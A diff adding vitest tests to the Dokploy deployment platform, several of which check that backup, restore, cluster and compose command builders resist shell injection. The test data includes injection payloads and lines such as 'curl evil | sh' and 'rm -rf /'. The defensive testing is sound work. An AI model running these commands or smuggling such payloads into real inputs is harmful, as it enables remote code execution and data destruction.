+import { describe, expect, it } from "vitest";
+import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
+
+describe("apiKeyNameSchema", () => {
+	it("rejects an empty name", () => {
+		const result = apiKeyNameSchema.safeParse("");
+		expect(result.success).toBe(false);
+	});
+
+	it("accepts a name at the maximum length", () => {
+		const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
+		const result = apiKeyNameSchema.safeParse(name);
+		expect(result.success).toBe(true);
+	});
+
+	it("rejects a name over the maximum length instead of passing it to better-auth", () => {
+		const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
+		const result = apiKeyNameSchema.safeParse(name);
+		expect(result.success).toBe(false);
+		if (!result.success) {
+			expect(result.error.issues[0]?.message).toBe(
+				`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
+			);
+		}
+	});
+});

apps/dokploy/__test__/api/session-management.test.ts

@@ -0,0 +1,23 @@
+import { describe, expect, it } from "vitest";
+import { z } from "zod";
+
+const revokeSessionSchema = z.object({
+	sessionId: z.string(),
+});
+
+describe("revokeSession input validation", () => {
+	it("accepts a valid session id", () => {
+		const result = revokeSessionSchema.safeParse({ sessionId: "abc123" });
+		expect(result.success).toBe(true);
+	});
+
+	it("rejects missing sessionId", () => {
+		const result = revokeSessionSchema.safeParse({});
+		expect(result.success).toBe(false);
+	});
+
+	it("rejects non-string sessionId", () => {
+		const result = revokeSessionSchema.safeParse({ sessionId: 123 });
+		expect(result.success).toBe(false);
+	});
+});

apps/dokploy/__test__/backups/db-backup-restore-injection.test.ts

@@ -0,0 +1,106 @@
+import { execSync } from "node:child_process";
+import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
+import {
+	getLibsqlBackupCommand,
+	getMariadbBackupCommand,
+	getMongoBackupCommand,
+	getMysqlBackupCommand,
+	getPostgresBackupCommand,
+} from "@dokploy/server/utils/backups/utils";
+import {
+	getMariadbRestoreCommand,
+	getMongoRestoreCommand,
+	getMysqlRestoreCommand,
+	getPostgresRestoreCommand,
+} from "@dokploy/server/utils/restore/utils";
+import { afterAll, beforeAll, describe, expect, it } from "vitest";
+
+// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
+// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
+// test exercises BOTH shell layers (outer /bin/sh building the docker command,
+// and the inner shell) the way production does, without needing a container.
+const stub = `/tmp/docker_stub_${process.pid}`;
+const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
+
+beforeAll(() => {
+	writeFileSync(
+		stub,
+		`#!/bin/bash
+shift # exec
+envs=()
+while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
+shift 2 # -i CONTAINER
+shell="$1"; shift # bash|sh
+shift # -c
+env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
+`,
+	);
+	chmodSync(stub, 0o755);
+});
+
+afterAll(() => {
+	if (existsSync(stub)) rmSync(stub);
+	if (existsSync(MARK)) rmSync(MARK);
+});
+
+// Run a builder-produced command with `docker` pointed at the stub; return true
+// if no injected command fired.
+const runsSafely = (command: string) => {
+	if (existsSync(MARK)) rmSync(MARK);
+	const withStub = command.replace(/^docker /, `${stub} `);
+	try {
+		execSync(withStub, {
+			shell: "/bin/bash",
+			stdio: "ignore",
+			env: { ...process.env, CONTAINER_ID: "test" },
+		});
+	} catch {}
+	const fired = existsSync(MARK);
+	if (existsSync(MARK)) rmSync(MARK);
+	return !fired;
+};
+
+// Payloads that try to break out of every quoting style used in the builders.
+const p = (mark: string) => [
+	`$(touch ${mark})`,
+	"`touch " + mark + "`",
+	`x'; touch ${mark}; '`,
+	`x"; touch ${mark}; echo "`,
+	`x; touch ${mark}`,
+];
+
+describe("database backup/restore command injection", () => {
+	const cases: Array<[string, (v: string) => string]> = [
+		["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
+		["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
+		["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
+		["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
+		["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
+		["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
+		["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
+		[
+			"mariadb restore (password)",
+			(v) => getMariadbRestoreCommand("db", "u", v),
+		],
+		["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
+		["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
+	];
+
+	for (const [label, build] of cases) {
+		it(`${label} is not injectable`, () => {
+			for (const payload of p(MARK)) {
+				expect(runsSafely(build(payload))).toBe(true);
+			}
+		});
+	}
+
+	it("preserves a legitimate database name (passed through as env var)", () => {
+		const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
+		// Values live in -e assignments, never inline in the pg_dump text.
+		expect(cmd).toContain("-e DB_NAME=my-db_prod");
+		expect(cmd).toContain("-e DB_USER=app_user");
+		expect(cmd).toContain(
+			'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
+		);
+	});
+});

apps/dokploy/__test__/backups/restore-use-statement.test.ts

@@ -0,0 +1,57 @@
+import { execSync } from "node:child_process";
+import {
+	getRestoreCommand,
+	stripDatabaseSwitchCommand,
+} from "@dokploy/server/utils/restore/utils";
+import { describe, expect, it } from "vitest";
+
+const filter = (input: string) =>
+	execSync(stripDatabaseSwitchCommand, {
+		input,
+		shell: "/bin/bash",
+	}).toString();
+
+describe("restore drops database-switch statements (mysql/mariadb)", () => {
+	const dump = [
+		"-- MariaDB dump",
+		"CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
+		"USE `production_db`;",
+		"use production_db;",
+		"DROP TABLE IF EXISTS `users`;",
+		"CREATE TABLE `users` (`id` int NOT NULL);",
+		"INSERT INTO `users` VALUES (1),(2);",
+		"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
+	].join("\n");
+
+	it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
+		const result = filter(dump);
+		expect(result).not.toContain("USE `production_db`");
+		expect(result).not.toContain("use production_db");
+		expect(result).not.toContain("CREATE DATABASE /*!32312");
+		expect(result).toContain("DROP TABLE IF EXISTS `users`;");
+		expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
+		expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
+		expect(result).toContain(
+			"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
+		);
+	});
+
+	it("is wired into mysql and mariadb restore pipelines only", () => {
+		const base = {
+			appName: "my-app",
+			restoreType: "database" as const,
+			credentials: {
+				database: "dev_db",
+				databaseUser: "u",
+				databasePassword: "p",
+			},
+			rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
+		};
+		for (const type of ["mysql", "mariadb"] as const) {
+			const cmd = getRestoreCommand({ ...base, type });
+			expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
+		}
+		const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
+		expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
+	});
+});

apps/dokploy/__test__/backups/volume-backup-restart.test.ts

@@ -0,0 +1,82 @@
+import { spawnSync } from "node:child_process";
+import { createRestartSafeBackupCommand } from "@dokploy/server/utils/volume-backups/backup";
+import { describe, expect, it } from "vitest";
+
+const runCommand = (command: string) =>
+	spawnSync("bash", ["-c", command], {
+		encoding: "utf8",
+	});
+
+const outputLines = (stdout: string) =>
+	stdout
+		.trim()
+		.split("\n")
+		.filter((line) => line.length > 0);
+
+describe("createRestartSafeBackupCommand", () => {
+	it("restarts the service and preserves the backup error status", () => {
+		const result = runCommand(
+			createRestartSafeBackupCommand({
+				stopCommand: 'echo "stop"',
+				backupCommand: 'echo "backup"; exit 23',
+				startCommand: 'echo "start"',
+				uploadCommand: 'echo "upload"',
+			}),
+		);
+
+		expect(result.status).toBe(23);
+		expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]);
+	});
+
+	it("preserves the backup error status when the restart also fails", () => {
+		const result = runCommand(
+			createRestartSafeBackupCommand({
+				stopCommand: 'echo "stop"',
+				backupCommand: 'echo "backup"; exit 23',
+				startCommand: 'echo "start"; exit 17',
+				uploadCommand: 'echo "upload"',
+			}),
+		);
+
+		expect(result.status).toBe(23);
+		expect(outputLines(result.stdout)).toEqual([
+			"stop",
+			"backup",
+			"start",
+			"Service restart also failed with exit code 17",
+		]);
+	});
+
+	it("returns the restart error status when the backup succeeds", () => {
+		const result = runCommand(
+			createRestartSafeBackupCommand({
+				stopCommand: 'echo "stop"',
+				backupCommand: 'echo "backup"',
+				startCommand: 'echo "start"; exit 17',
+				uploadCommand: 'echo "upload"',
+			}),
+		);
+
+		expect(result.status).toBe(17);
+		expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]);
+	});
+
+	it("uploads only after a successful backup and service restart", () => {
+		const result = runCommand(
+			createRestartSafeBackupCommand({
+				stopCommand: 'echo "stop"',
+				backupCommand: 'echo "backup"',
+				startCommand: 'echo "start"',
+				uploadCommand: 'echo "upload"',
+			}),
+		);
+
+		expect(result.status).toBe(0);
+		expect(outputLines(result.stdout)).toEqual([
+			"stop",
+			"backup",
+			"start",
+			"upload",
+		]);
+	});
+});

apps/dokploy/__test__/cluster/registry-node-injection.test.ts

@@ -0,0 +1,70 @@
+import { execSync } from "node:child_process";
+import { existsSync, rmSync } from "node:fs";
+import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
+import { parse, quote } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
+
+const runsSafely = (command: string) => {
+	if (existsSync(MARK)) rmSync(MARK);
+	try {
+		execSync(command, { shell: "/bin/sh", stdio: "ignore" });
+	} catch {}
+	const fired = existsSync(MARK);
+	if (existsSync(MARK)) rmSync(MARK);
+	return !fired;
+};
+
+const PAYLOADS = (m: string) => [
+	`$(touch ${m})`,
+	"`touch " + m + "`",
+	`x; touch ${m}`,
+	`x | touch ${m}`,
+];
+
+describe("cluster removeWorker nodeId injection", () => {
+	// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
+	it("escapes nodeId in drain/remove commands", () => {
+		for (const nodeId of PAYLOADS(MARK)) {
+			const drain = `: node update --availability drain ${quote([nodeId])}`;
+			const remove = `: node rm ${quote([nodeId])} --force`;
+			expect(runsSafely(drain)).toBe(true);
+			expect(runsSafely(remove)).toBe(true);
+		}
+	});
+});
+
+describe("swarm upload registry tag/push injection", () => {
+	// registryTag is built from registryUrl/username/imagePrefix (username and
+	// imagePrefix have no schema regex). Assert docker tag/push stay safe.
+	it("escapes a malicious imagePrefix flowing into the registry tag", () => {
+		for (const payload of PAYLOADS(MARK)) {
+			const registryTag = getRegistryTag(
+				{
+					registryUrl: "registry.example.com",
+					imagePrefix: payload,
+					username: "user",
+				} as any,
+				"app:latest",
+			);
+			const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
+			const pushCmd = `: push ${quote([registryTag])}`;
+			expect(runsSafely(tagCmd)).toBe(true);
+			expect(runsSafely(pushCmd)).toBe(true);
+		}
+	});
+
+	it("keeps a legitimate registry tag intact", () => {
+		const tag = getRegistryTag(
+			{
+				registryUrl: "registry.example.com",
+				imagePrefix: "team",
+				username: "user",
+			} as any,
+			"myapp:1.2.3",
+		);
+		expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
+		expect(parse(quote([tag]))).toEqual([tag]);
+	});
+});

apps/dokploy/__test__/compose/compose-command-injection.test.ts

@@ -0,0 +1,169 @@
+import { execSync } from "node:child_process";
+import { existsSync, rmSync } from "node:fs";
+import { createCommand } from "@dokploy/server/utils/builders/compose";
+import { parse, quote } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
+
+const base = {
+	composeType: "docker-compose" as const,
+	appName: "compose-app",
+	sourceType: "raw" as const,
+	command: "",
+	composePath: "docker-compose.yml",
+};
+
+// createCommand output is interpolated as `docker ${command}` at the deploy
+// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
+const runsSafely = (command: string) => {
+	if (existsSync(MARK)) rmSync(MARK);
+	try {
+		execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
+	} catch {}
+	const fired = existsSync(MARK);
+	if (existsSync(MARK)) rmSync(MARK);
+	return !fired;
+};
+
+const PAYLOADS = [
+	`$(touch ${MARK})`,
+	`\`touch ${MARK}\``,
+	`x; touch ${MARK}`,
+	`x | touch ${MARK}`,
+];
+
+describe("compose createCommand injection", () => {
+	it("escapes composePath (docker-compose)", () => {
+		for (const p of PAYLOADS) {
+			const cmd = createCommand({
+				...base,
+				sourceType: "github",
+				composePath: p,
+			} as any);
+			expect(runsSafely(cmd)).toBe(true);
+		}
+	});
+
+	it("escapes composePath (stack deploy)", () => {
+		for (const p of PAYLOADS) {
+			const cmd = createCommand({
+				...base,
+				composeType: "stack",
+				sourceType: "github",
+				composePath: p,
+			} as any);
+			expect(runsSafely(cmd)).toBe(true);
+		}
+	});
+
+	it("escapes appName", () => {
+		for (const p of PAYLOADS) {
+			const cmd = createCommand({
+				...base,
+				sourceType: "github",
+				appName: p,
+				composePath: "docker-compose.yml",
+			} as any);
+			expect(runsSafely(cmd)).toBe(true);
+		}
+	});
+
+	it("rejects a custom command containing shell control characters", () => {
+		for (const bad of [
+			"up -d; rm -rf /",
+			"up && curl evil | sh",
+			"up $(touch x)",
+			"up `id`",
+		]) {
+			expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
+				/Invalid characters/,
+			);
+		}
+	});
+
+	it("allows a legitimate custom command", () => {
+		const cmd = createCommand({
+			...base,
+			command: "compose -f docker-compose.yml -p app up -d --build",
+		} as any);
+		expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
+	});
+
+	it("keeps a legitimate composePath intact", () => {
+		const cmd = createCommand({
+			...base,
+			sourceType: "github",
+			composePath: "deploy/docker-compose.prod.yml",
+		} as any);
+		expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
+		expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
+			"deploy/docker-compose.prod.yml",
+		);
+	});
+
+	it("allows chained docker compose commands with '&&'", () => {
+		const cmd = createCommand({
+			...base,
+			command:
+				"compose pull && docker compose down && docker compose up -d --build",
+		} as any);
+		expect(cmd).toBe(
+			"compose pull && docker compose down && docker compose up -d --build",
+		);
+	});
+
+	it("allows chaining with the legacy 'docker-compose' spelling", () => {
+		const cmd = createCommand({
+			...base,
+			command: "compose pull && docker-compose down",
+		} as any);
+		expect(cmd).toBe("compose pull && docker-compose down");
+	});
+
+	it("rejects a single '&' used for backgrounding", () => {
+		expect(() =>
+			createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
+		).toThrow(/Single '&' is not allowed/);
+	});
+
+	it("rejects a malformed '&&&' chain", () => {
+		expect(() =>
+			createCommand({
+				...base,
+				command: "compose pull &&& docker compose up -d",
+			} as any),
+		).toThrow(/Single '&' is not allowed/);
+	});
+
+	it("rejects chained segments that are not docker compose invocations", () => {
+		expect(() =>
+			createCommand({
+				...base,
+				command: "compose pull && rm -rf /",
+			} as any),
+		).toThrow(/must strictly start with 'docker compose '/);
+	});
+
+	it("rejects an attempted injection smuggled inside a chained segment", () => {
+		for (const bad of [
+			"compose pull && docker compose up -d; touch /tmp/pwn",
+			"compose pull && docker compose up -d $(touch /tmp/pwn)",
+			"compose pull && docker compose up -d `touch /tmp/pwn`",
+			"compose pull && docker compose up -d | touch /tmp/pwn",
+		]) {
+			expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
+				/Invalid characters/,
+			);
+		}
+	});
+
+	it("rejects a chain that only pretends to start with docker compose later in the string", () => {
+		expect(() =>
+			createCommand({
+				...base,
+				command: "compose pull && curl evil.sh | docker compose up -d",
+			} as any),
+		).toThrow(/Invalid characters/);
+	});
+});

apps/dokploy/__test__/compose/compose-project-directory.test.ts

@@ -0,0 +1,123 @@
+import { createCommand } from "@dokploy/server/utils/builders/compose";
+import { describe, expect, it } from "vitest";
+
+const base = {
+	composeType: "docker-compose" as const,
+	appName: "compose-app",
+	sourceType: "github" as const,
+	command: "",
+};
+
+describe("compose createCommand --project-directory", () => {
+	it("pins --project-directory to the code dir when composePath is nested", () => {
+		const cmd = createCommand(
+			{ ...base, composePath: "./deploy/docker-compose.yml" } as any,
+			"/etc/dokploy/compose/compose-app/code",
+		);
+
+		expect(cmd).toContain(
+			"--project-directory /etc/dokploy/compose/compose-app/code",
+		);
+		expect(cmd).toContain("-f ./deploy/docker-compose.yml");
+	});
+
+	it("omits --project-directory when no projectPath is passed", () => {
+		const cmd = createCommand({
+			...base,
+			composePath: "./deploy/docker-compose.yml",
+		} as any);
+
+		expect(cmd).not.toContain("--project-directory");
+	});
+
+	it("does not add --project-directory to stack deploy (unsupported flag)", () => {
+		const cmd = createCommand(
+			{
+				...base,
+				composeType: "stack",
+				composePath: "./deploy/docker-compose.yml",
+			} as any,
+			"/etc/dokploy/compose/compose-app/code",
+		);
+
+		expect(cmd).not.toContain("--project-directory");
+		expect(cmd.startsWith("stack deploy")).toBe(true);
+	});
+
+	it("keeps raw sourceType resolving from the code dir (root docker-compose.yml)", () => {
+		const cmd = createCommand(
+			{ ...base, sourceType: "raw", composePath: "docker-compose.yml" } as any,
+			"/etc/dokploy/compose/compose-app/code",
+		);
+
+		expect(cmd).toContain(
+			"--project-directory /etc/dokploy/compose/compose-app/code",
+		);
+		expect(cmd).toContain("-f docker-compose.yml");
+	});
+
+	it("resolves build.context against the compose file's own directory when there are no mounts", () => {
+		const cmd = createCommand({
+			...base,
+			composePath: "./backend/docker-compose.yml",
+		} as any);
+
+		expect(cmd).not.toContain("--project-directory");
+		expect(cmd).toContain("-f ./backend/docker-compose.yml");
+	});
+});
+
+describe("compose createCommand --env-file", () => {
+	it("points --env-file at the generated .env next to a nested compose file", () => {
+		const cmd = createCommand(
+			{
+				...base,
+				composePath: "./deploy/docker-compose.yml",
+				createEnvFile: true,
+			} as any,
+			"/etc/dokploy/compose/compose-app/code",
+		);
+
+		expect(cmd).toContain("--env-file deploy/.env");
+		expect(cmd).toContain(
+			"--project-directory /etc/dokploy/compose/compose-app/code",
+		);
+	});
+
+	it("omits --env-file when createEnvFile is disabled", () => {
+		const cmd = createCommand(
+			{ ...base, composePath: "./deploy/docker-compose.yml" } as any,
+			"/etc/dokploy/compose/compose-app/code",
+		);
+
+		expect(cmd).not.toContain("--env-file");
+	});
+
+	it("uses the code-root .env for raw sourceType", () => {
+		const cmd = createCommand(
+			{
+				...base,
+				sourceType: "raw",
+				composePath: "docker-compose.yml",
+				createEnvFile: true,
+			} as any,
+			"/etc/dokploy/compose/compose-app/code",
+		);
+
+		expect(cmd).toContain("--env-file .env");
+	});
+
+	it("does not add --env-file to stack deploy (unsupported flag)", () => {
+		const cmd = createCommand(
+			{
+				...base,
+				composeType: "stack",
+				composePath: "./deploy/docker-compose.yml",
+				createEnvFile: true,
+			} as any,
+			"/etc/dokploy/compose/compose-app/code",
+		);
+
+		expect(cmd).not.toContain("--env-file");
+	});
+});

apps/dokploy/__test__/compose/domain-command-injection.test.ts

@@ -0,0 +1,69 @@
+import { parse } from "shell-quote";
+import { describe, expect, it, vi } from "vitest";
+
+// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
+// "exists" but does not contain the attacker's service, forcing the error path
+// whose message embeds the user-controlled serviceName.
+vi.mock("node:fs", async (importOriginal) => {
+	const actual = await importOriginal<typeof import("node:fs")>();
+	return {
+		...actual,
+		existsSync: () => true,
+		readFileSync: () => "services:\n  web:\n    image: nginx\n",
+	};
+});
+
+import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
+
+const baseCompose = {
+	appName: "my-app",
+	serverId: null,
+	composeType: "docker-compose",
+	sourceType: "raw",
+	composePath: "docker-compose.yml",
+	isolatedDeployment: false,
+	randomize: false,
+	suffix: "",
+} as any;
+
+const makeDomain = (serviceName: string) =>
+	({
+		host: "example.com",
+		serviceName,
+		https: false,
+		uniqueConfigKey: 1,
+		port: 3000,
+		enabled: true,
+	}) as any;
+
+// If the returned shell fragment is safe, parse() yields only string tokens.
+// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
+const leaksShellSyntax = (command: string, marker: string) =>
+	parse(command).some(
+		(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
+	);
+
+describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
+	it("does not let a malicious serviceName inject shell operators", async () => {
+		const result = await writeDomainsToCompose(baseCompose, [
+			makeDomain("$(touch /tmp/pwned)"),
+		]);
+
+		// The service does not exist in the compose, so we hit the error branch.
+		expect(result).toContain("Has occurred an error");
+		// The payload text may appear inside the single-quoted echo argument, but
+		// it must never parse as a shell operator ($(), backtick, ; …).
+		expect(leaksShellSyntax(result, "touch")).toBe(false);
+	});
+
+	it("neutralizes backtick and semicolon payloads too", async () => {
+		for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
+			const result = await writeDomainsToCompose(baseCompose, [
+				makeDomain(`svc${payload}`),
+			]);
+			expect(leaksShellSyntax(result, "rm")).toBe(false);
+			expect(leaksShellSyntax(result, "curl")).toBe(false);
+			expect(leaksShellSyntax(result, "id")).toBe(false);
+		}
+	});
+});

apps/dokploy/__test__/compose/domain/enabled-filter.test.ts

@@ -0,0 +1,306 @@
+import type { Compose } from "@dokploy/server/services/compose";
+import type { Domain } from "@dokploy/server/services/domain";
+import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+// With sourceType "raw", addDomainToCompose parses compose.composeFile
+// directly instead of reading from disk, so baseCompose exposes it as a
+// getter that always reflects the current composeYaml for each test case.
+const baseComposeYaml = `
+services:
+  frigate:
+    image: frigate
+`;
+let composeYaml = baseComposeYaml;
+
+const baseCompose = {
+	appName: "test-app",
+	composeType: "docker-compose",
+	composePath: "docker-compose.yml",
+	sourceType: "raw",
+	serverId: null,
+	isolatedDeployment: false,
+	randomize: false,
+	suffix: "",
+	get composeFile() {
+		return composeYaml;
+	},
+} as unknown as Compose;
+
+const baseDomain: Domain = {
+	host: "frigate.example.com",
+	port: 8971,
+	customEntrypoint: null,
+	https: false,
+	uniqueConfigKey: 1,
+	customCertResolver: null,
+	certificateType: "none",
+	applicationId: "",
+	composeId: "compose-id",
+	domainType: "compose",
+	serviceName: "frigate",
+	domainId: "domain-id",
+	path: "/",
+	createdAt: "",
+	previewDeploymentId: "",
+	internalPath: "/",
+	stripPath: false,
+	middlewares: null,
+	forwardAuthEnabled: false,
+	enabled: true,
+};
+
+const serviceLabels = (
+	result: Awaited<ReturnType<typeof addDomainToCompose>>,
+) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
+
+describe("addDomainToCompose enabled filtering", () => {
+	beforeEach(() => {
+		vi.clearAllMocks();
+		composeYaml = baseComposeYaml;
+	});
+
+	it("generates traefik labels for an enabled domain", async () => {
+		const result = await addDomainToCompose(baseCompose, [
+			{ ...baseDomain, enabled: true },
+		]);
+
+		const labels = serviceLabels(result);
+		expect(labels).toContain("traefik.enable=true");
+		expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
+			true,
+		);
+	});
+
+	it("skips a disabled domain entirely (no traefik labels)", async () => {
+		const result = await addDomainToCompose(baseCompose, [
+			{ ...baseDomain, enabled: false },
+		]);
+
+		const labels = serviceLabels(result);
+		expect(labels).not.toContain("traefik.enable=true");
+		expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
+			false,
+		);
+	});
+
+	it.each([
+		[
+			"docker-compose",
+			`services:
+  frigate:
+    image: frigate
+    labels:
+      - traefik.enable=true
+      - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
+      - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
+      - traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
+      - custom.label=preserved
+`,
+		],
+		[
+			"stack",
+			`services:
+  frigate:
+    image: frigate
+    deploy:
+      labels:
+        - traefik.enable=true
+        - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
+        - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
+        - traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
+        - custom.label=preserved
+`,
+		],
+	] as const)(
+		"removes stale labels for a disabled domain from %s rebuilds",
+		async (composeType, staleComposeYaml) => {
+			composeYaml = staleComposeYaml;
+
+			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
+				{ ...baseDomain, enabled: false },
+			]);
+
+			const service = result?.services?.frigate;
+			const labels =
+				composeType === "docker-compose"
+					? service?.labels
+					: service?.deploy?.labels;
+			expect(labels).toContain("custom.label=preserved");
+			expect(
+				(labels as string[]).some((label) => label.includes("test-app-1")),
+			).toBe(false);
+		},
+	);
+
+	it.each([
+		[
+			"docker-compose",
+			`services:
+  legacy:
+    image: frigate
+    labels:
+      - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
+      - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
+      - custom.label=preserved
+  frigate:
+    image: frigate
+`,
+		],
+		[
+			"stack",
+			`services:
+  legacy:
+    image: frigate
+    deploy:
+      labels:
+        - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
+        - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
+        - custom.label=preserved
+  frigate:
+    image: frigate
+`,
+		],
+	] as const)(
+		"removes stale labels from the previous %s service after reassignment",
+		async (composeType, staleComposeYaml) => {
+			composeYaml = staleComposeYaml;
+
+			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
+				{ ...baseDomain, serviceName: "frigate", enabled: false },
+			]);
+
+			const previousService = result?.services?.legacy;
+			const labels =
+				composeType === "docker-compose"
+					? previousService?.labels
+					: previousService?.deploy?.labels;
+			expect(labels).toContain("custom.label=preserved");
+			expect(
+				(labels as string[]).some((label) => label.includes("test-app-1")),
+			).toBe(false);
+		},
+	);
+
+	it.each([
+		[
+			"docker-compose",
+			`services:
+  frigate:
+    image: frigate
+    labels:
+      traefik.enable: "true"
+      traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
+      traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
+      traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
+      custom.label: preserved
+`,
+		],
+		[
+			"stack",
+			`services:
+  frigate:
+    image: frigate
+    deploy:
+      labels:
+        traefik.enable: "true"
+        traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
+        traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
+        traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
+        custom.label: preserved
+`,
+		],
+	] as const)(
+		"removes stale mapping labels for a disabled domain from %s rebuilds",
+		async (composeType, staleComposeYaml) => {
+			composeYaml = staleComposeYaml;
+
+			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
+				{ ...baseDomain, enabled: false },
+			]);
+
+			const service = result?.services?.frigate;
+			const labels =
+				composeType === "docker-compose"
+					? service?.labels
+					: service?.deploy?.labels;
+			expect(labels).toMatchObject({ "custom.label": "preserved" });
+			expect(
+				Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")),
+			).toBe(false);
+		},
+	);
+
+	it.each([
+		[
+			"docker-compose",
+			`services:
+  frigate:
+    image: frigate
+    labels:
+      traefik.enable: "true"
+      traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
+      traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
+      custom.label: preserved
+`,
+			"traefik.docker.network",
+		],
+		[
+			"stack",
+			`services:
+  frigate:
+    image: frigate
+    deploy:
+      labels:
+        traefik.enable: "true"
+        traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
+        traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
+        custom.label: preserved
+`,
+			"traefik.swarm.network",
+		],
+	] as const)(
+		"regenerates routing in mapping labels for an enabled domain in %s",
+		async (composeType, mappingComposeYaml, networkLabel) => {
+			composeYaml = mappingComposeYaml;
+
+			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
+				{ ...baseDomain, enabled: true },
+			]);
+
+			const service = result?.services?.frigate;
+			const labels =
+				composeType === "docker-compose"
+					? service?.labels
+					: service?.deploy?.labels;
+			expect(labels).toMatchObject({
+				"custom.label": "preserved",
+				"traefik.enable": "true",
+				[networkLabel]: "dokploy-network",
+				"traefik.http.routers.test-app-1-web.rule":
+					"Host(`frigate.example.com`)",
+				"traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971",
+			});
+		},
+	);
+
+	it("emits labels only for the enabled domain when both are present", async () => {
+		const result = await addDomainToCompose(baseCompose, [
+			{ ...baseDomain, host: "enabled.example.com", enabled: true },
+			{
+				...baseDomain,
+				host: "disabled.example.com",
+				uniqueConfigKey: 2,
+				enabled: false,
+			},
+		]);
+
+		const labels = serviceLabels(result);
+		expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
+			true,
+		);
+		expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
+			false,
+		);
+	});
+});

apps/dokploy/__test__/compose/domain/host-rule-format.test.ts

@@ -35,6 +35,7 @@ describe("Host rule format regression tests", () => {
 		customEntrypoint: null,
 		middlewares: null,
 		forwardAuthEnabled: false,
+		enabled: true,
 	};
 
 	describe("Host rule format validation", () => {

